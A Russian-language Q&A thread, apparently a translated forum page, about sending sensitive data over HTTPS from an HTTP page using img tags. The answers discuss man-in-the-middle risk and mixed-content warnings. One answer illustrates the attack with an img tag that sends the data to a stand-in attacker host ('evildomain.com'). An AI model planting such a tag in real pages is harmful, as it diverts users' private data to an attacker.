http, https & ajax bypass, может быть? - PullRequest
0 голосов
/ 09 октября 2009

У меня есть серверный скрипт, которому нужно передать данные из браузера без перезагрузки страницы (он же ajax). Данные являются конфиденциальными, поэтому должны быть отправлены через https. Страница, однако, находится на слое http. Из-за того же ограничения домена / протокола браузер не позволяет этого.

Я немного обманываю систему, динамически создавая теги изображений и вызывая скрипт, используя тег src, такой как:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

Я хотел бы знать, действительно ли это будет правильно зашифровано.

Ответы [ 4 ]

3 голосов
/ 09 октября 2009

Проблема в том, что если сама страница только HTTP, то вы восприимчивы к человеку в средней атаке. Злоумышленник может просто изменить скрипт на странице, отправляемой по HTTP, чтобы он вместо этого использовал:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />

Пользователь будет не мудрец. Чтобы обойти это, вам действительно нужно обслуживать страницу и по протоколу HTTPS, что одновременно решает и другие ваши проблемы.

(Это та же самая причина, по которой формы входа должны быть на страницах HTTPS, а не просто действие формы, являющееся HTTPS).

2 голосов
/ 09 октября 2009

Да и нет.

Серверная часть URL-адреса, очевидно, не зашифрована, поскольку используется для настройки соединения.

Все остальное шифруется при отправке через HTTPS-соединение. Но любой, кто просматривает источник, сможет увидеть публикуемые данные.

0 голосов
/ 09 октября 2009

Возможная альтернатива технике изображения (недостаток которой, как отмечали другие, заключается в том, что контент в смешанном режиме не воспринимается любезно некоторыми браузерами), будет aSSL .

Любой метод приведет к шифрованию, и оба они по-прежнему уязвимы для атакующего в середине.

0 голосов
/ 09 октября 2009

Следует также упомянуть, что некоторые браузеры не отображают (или предупреждают пользователя перед отображением) страницы HTML в смешанном режиме (http vs. https). В некоторых случаях это может не сработать, поскольку пользователь выбирает блокировку.

...